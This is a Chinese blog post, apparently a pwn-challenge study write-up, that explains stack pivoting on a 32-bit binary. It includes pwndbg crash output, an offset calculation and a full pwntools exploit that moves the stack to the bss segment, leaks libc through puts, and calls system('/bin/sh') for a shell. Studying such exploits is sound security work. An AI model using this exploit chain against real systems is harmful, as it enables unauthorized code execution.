栈迁移学习

参考资料https://blog.csdn.net/qq_38154820/article/details/106330238

原理

栈迁移的技巧是劫持栈指针执行攻击者所能控制的内存,在相应位置进行ROP,来解决栈溢出空间大小不足的问题
我们进入一个 函数的时候,会执行call指令
call func(); //push eip+4; push ebp; mov ebp,esp;
call func() 执行完要退出的时候要进行与call func相反的操作(恢复现场)维持栈平衡!
leave; //mov esp,ebp; pop ebp;

ret ; // pop eip
栈迁移 的核心思想就是 将栈 的 esp 和 ebp 转移到一个 输入不受长度限制的 且可控制 的 址处,通常是 bss 段地址! 在最后 ret 的时候 如果我们能够控制得 了 栈顶 esp指向的地址 就想到于 控制了 程序执行流!

32位程序栈迁移

检查保护

在这里插入图片描述

fanfan@ubuntu:~$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> r
Starting program: /home/fanfan/pwn challenges/migration 
Try your best :
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
*EAX  0x40
 EBX  0x0
*ECX  0xffffd4d0 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa'
*EDX  0x40
*EDI  0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESI  0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*EBP  0x6161616b ('kaaa')
*ESP  0xffffd500 ◂— 'maaanaaaoaaapaaa'
*EIP  0x6161616c ('laaa')
────────[ DISASM / i386 / set emulate on ]─────────
Invalid address 0x6161616c
─────────────────────[ STACK ]─────────────────────
00:0000│ esp 0xffffd500 ◂— 'maaanaaaoaaapaaa'
01:0004│     0xffffd504 ◂— 'naaaoaaapaaa'
02:0008│     0xffffd508 ◂— 'oaaapaaa'
03:000c│     0xffffd50c ◂— 'paaa'
04:0010│     0xffffd510 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
05:0014│     0xffffd514 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x2bf24
06:0018│     0xffffd518 —▸ 0xffffd578 —▸ 0xffffd594 —▸ 0xffffd6f5 ◂— '/home/fanfan/pwn challenges/migration'
07:001c│     0xffffd51c ◂— 0x0
───────────────────[ BACKTRACE ]───────────────────
 ► f 0 0x6161616c
   f 1 0x6161616d
   f 2 0x6161616e
   f 3 0x6161616f
   f 4 0x61616170
───────────────────────────────────────────────────
fanfan@ubuntu:~$ cyclic -l 0x6161616c
44

手动测量栈偏移量为44(0x2C),这说明变量buf距离main函数的返回地址为0x2C,那么距离EBP(栈底)的距离为(0x2C-4=0x28=40),从read(0,&buf,0x40u),read函数可以读取0x40的内容放在buf(0x28)中,说明我们只能控制0x40-0x28=24的内容,再加上我们的payload需要泄露libc文件得到system的地址,空间太少了,所以只能进行栈迁移。
在这里插入图片描述

构造payload

exp

先把exp放在这,方便解释

from pwn import *

io=process('./migration')
elf=ELF('./migration')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level="debug"  

buf=elf.bss()+0x500
buf1=elf.bss()+0x400
read_plt=elf.plt['read']
leave_ret=0x08048418
# 0x08048418 : leave ; ret

pay1=b'a'*(0x28)+p32(buf)
pay1+=p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf)+p32(0x100)
io.sendafter('Try your best :\n',pay1)

puts_plt=elf.plt['puts']
pop1ret=0x0804836d
# 0x0804836d : pop ebx ; ret
puts_got=elf.got['puts']

pay2=p32(buf1)+p32(puts_plt)+p32(pop1ret)+p32(puts_got)
pay2+=p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
io.sendline(pay2)

puts_addr=u32(io.recv(4))
success("puts_addr = "+hex(puts_addr))
libcbase=puts_addr-libc.symbols['puts']
system_addr=libcbase+libc.symbols['system']

pop3ret=0x08048569
# 0x08048569 : pop esi ; pop edi ; pop ebp ; ret
pay3=p32(buf)+p32(read_plt)+p32(pop3ret)+p32(0)+p32(buf)+p32(0x100)
pay3+=p32(system_addr)+p32(0xdeadbeef)+p32(buf)
io.sendline(pay3)
io.sendline("/bin/sh\x00")

io.interactive()

图解在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值